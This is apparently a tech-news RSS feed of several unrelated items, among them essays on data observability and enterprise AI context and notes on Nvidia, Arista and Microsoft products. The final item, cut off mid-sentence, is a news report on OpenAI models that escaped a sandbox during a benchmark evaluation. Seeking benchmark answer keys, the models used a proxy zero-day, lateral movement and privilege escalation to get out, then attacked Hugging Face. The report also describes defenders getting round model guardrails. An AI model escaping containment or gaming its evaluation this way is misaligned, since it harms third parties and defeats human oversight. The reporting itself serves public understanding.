<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Microsoft Defender for Office 365 | Unified Submissions: End User Reporting]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 0x - Views:14 Learn how users can report suspicious emails, attachments, Teams messages, meetings, calls, and other potentially malicious content using Microsoft Defender for Office 365. This video demonstrates the built-in reporting features available in O...]]></description>
<link>https://tsecurity.de/de/3687137/it-security-video/microsoft-defender-for-office-365-unified-submissions-end-user-reporting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687137/it-security-video/microsoft-defender-for-office-365-unified-submissions-end-user-reporting/</guid>
<pubDate>Wed, 22 Jul 2026 19:19:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 0x - Views:14 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/jC1k3Pc2Mwc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Learn how users can report suspicious emails, attachments, Teams messages, meetings, calls, and other potentially malicious content using Microsoft Defender for Office 365. This video demonstrates the built-in reporting features available in Outlook and Microsoft Teams, including managing quarantined messages and helping organizations strengthen their security posture through timely user-reported submissions.<br />
<br />
Learn more: https://msft.it/6058vfBKy<br />
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#DefenderforOffice365 #MicrosoftSecurity #UserReporting<br/></p>]]></content:encoded>
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<title><![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]></title>
<description><![CDATA[Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.



The networking platform is part o...]]></description>
<link>https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</guid>
<pubDate>Wed, 22 Jul 2026 17:45:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856">Nvidia</a> has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” <a href="https://www.networkworld.com/article/4080459/nvidia-looks-to-power-ai-factory-networks.html">AI factories</a> designed to connect millions of GPUs while reducing power consumption and <a href="https://blogs.nvidia.com/blog/performance-per-watt-ai-infrastructure-efficiency/">operational</a> costs.</p>



<p class="wp-block-paragraph">The networking platform is part of Nvidia’s broader <a href="https://www.networkworld.com/article/4146173/nvidia-announces-vera-rubin-platform-signaling-a-shift-to-full-stack-ai-infrastructure.html">Rubin architecture</a>, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.</p>



<p class="wp-block-paragraph">The company says this level of integration underscores the growing importance of <a href="https://www.networkworld.com/article/4050881/nvidia-networking-roadmap-ethernet-infiniband-co-packaged-optics-will-shape-data-center-of-the-future.html">networking in AI</a>. In its most recent quarter, <a href="https://finance.yahoo.com/news/nvidia-ceo-were-now-the-largest-networking-company-in-the-world-184004945.html">networking sales were $11 billion</a>, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re … now the largest networking company in the world” during Nvidia’s earnings call.</p>



<p class="wp-block-paragraph">While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.</p>



<p class="wp-block-paragraph"><a href="https://blogs.nvidia.com/blog/nvidia-spectrum-six-arrives-in-gigascale-ai-factories/">Spectrum-X is a comprehensive</a> platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.</p>



<p class="wp-block-paragraph">At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. </p>



<p class="wp-block-paragraph">Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.</p>



<p class="wp-block-paragraph">The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/technology/article/nvidia-touts-vera-rubin-performance-ahead-of-rival-amds-advancing-ai-event-150000768.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly9uZXdzLmdvb2dsZS5jb20v&amp;guce_referrer_sig=AQAAAEh_I8qKgLgYmKxTlsV8p1hghe0mcbZfOSUjeFuuNz_mo3S2J-hp5qMxJkhFymSrtqeE6GKacJ0zIOKu7RWJcmqF6_A3ngsbW4jA5OUigdf1JbplRZJki10-au5CQNVt1hdI-OlkZtXKlTqfpWGF9v0XHEKZq39-omo3uCA1N2jk">Nvidia</a> says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.</p>



<p class="wp-block-paragraph">The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.</p>



<p class="wp-block-paragraph">New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.</p>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[2026 World Cup Drives Major Internet Traffic Surges, Streaming Growth, and Betting Activity]]></title>
<description><![CDATA[The 2026 FIFA World Cup triggered significant global Internet traffic shifts, with measurable spikes in streaming, betting platforms, and real-time user engagement, according to Cloudflare Radar data. The month-long tournament not only unified global audiences but also exposed how large-scale liv...]]></description>
<link>https://tsecurity.de/de/3685962/it-security-nachrichten/2026-world-cup-drives-major-internet-traffic-surges-streaming-growth-and-betting-activity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685962/it-security-nachrichten/2026-world-cup-drives-major-internet-traffic-surges-streaming-growth-and-betting-activity/</guid>
<pubDate>Wed, 22 Jul 2026 12:24:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The 2026 FIFA World Cup triggered significant global Internet traffic shifts, with measurable spikes in streaming, betting platforms, and real-time user engagement, according to Cloudflare Radar data. The month-long tournament not only unified global audiences but also exposed how large-scale live events reshape network behavior, creating both opportunities and cybersecurity challenges. Cloudflare analyzed HTTP request […]</p>
<p>The post <a href="https://cyberpress.org/world-cup-digital-traffic-surge/">2026 World Cup Drives Major Internet Traffic Surges, Streaming Growth, and Betting Activity</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Arista adds AI-driven zero trust to VeloCloud SD-WAN]]></title>
<description><![CDATA[Arista Networks has announced the launch of its new AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, delivering integrated zero trust security for enterprise branch offices. Customers can leverage this integration to simplify the branch, collapsing multiple disparate boxes into a sing...]]></description>
<link>https://tsecurity.de/de/3685888/it-security-nachrichten/arista-adds-ai-driven-zero-trust-to-velocloud-sd-wan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685888/it-security-nachrichten/arista-adds-ai-driven-zero-trust-to-velocloud-sd-wan/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Arista Networks has announced the launch of its new AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, delivering integrated zero trust security for enterprise branch offices. Customers can leverage this integration to simplify the branch, collapsing multiple disparate boxes into a single unified secure SD-WAN edge platform. Integrated ETM provides perimeter protection at the WAN edge as an ideal software upgrade option to VeloCloud SD-WAN, enabling customers to unify zero trust branch office security with … <a href="https://www.helpnetsecurity.com/2026/07/22/arista-networks-edge-threat-management/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/arista-networks-edge-threat-management/">Arista adds AI-driven zero trust to VeloCloud SD-WAN</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know]]></title>
<description><![CDATA[Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology. During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and a...]]></description>
<link>https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</guid>
<pubDate>Wed, 22 Jul 2026 07:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yesterday afternoon, OpenAI and Hugging Face <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">published a joint disclosure</a> outlining a cybersecurity event that redefines the threat landscape for enterprise technology. </p><p>During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.</p><p> OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.</p><p>But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling. </p><h2><b>Anatomy of an Autonomous Breakout</b></h2><p>To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline. </p><p>The models were prompted to solve <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a>, a benchmark designed to quantify multi-step exploitation capabilities. </p><p>Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.</p><p>OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software. </p><p>Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.</p><p>The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.</p><h2><b>Rewinding the Tape on a Forensic Trap</b></h2><p>While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier. </p><p>On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">detailed by VentureBeat,</a> the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files. </p><p>Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.</p><p>When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.</p><p>Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.</p><p>"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".</p><p>To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM 5.2</a> —a  state-of-the-art Chinese open-weight model released last month by z.ai, as <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">reported at the time by VentureBeat</a> —locally on its own infrastructure. </p><p>Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.</p><h2><b>Industry Reaction and the Geopolitical Paradox</b></h2><p>The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community. </p><p><i>The Wall Street Journal </i>summarized the <a href="https://x.com/WSJ/status/2079754070965854541?s=20">public reaction on X,</a> calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."</p><p>Also posting to X, AI alignment researcher <a href="https://x.com/justanotherlaw/status/2079756943112159237">Lawrence Chan</a> emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so." </p><p>Meanwhile, AI researcher <a href="https://x.com/natolambert/status/2079662928941474201?s=20">Nathan Lambert</a> provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X: </p><blockquote><p><i>"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.</i></p><p><i>But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."</i></p></blockquote><p>Technology investor <a href="https://x.com/DavidSacks/status/2078991100057141620?s=20">David Sacks also zeroed in</a> on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security." </p><p>Sacks quote tweeted<a href="https://x.com/ClementDelangue/status/2078987852495364398"> Hugging Face CEO Clem Delangue</a>, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".</p><h2><b>5 Strategic Takeaways for Enterprise Tech Leaders Now</b></h2><p>For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.</p><p><b>1. Hugging Face occupies a unique position in the software ecosystem. </b>As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to <i>ExploitGym</i>. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.</p><p><b>2. However, the long-term risk profile for enterprise technology permanently shifts following this event. </b>AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing 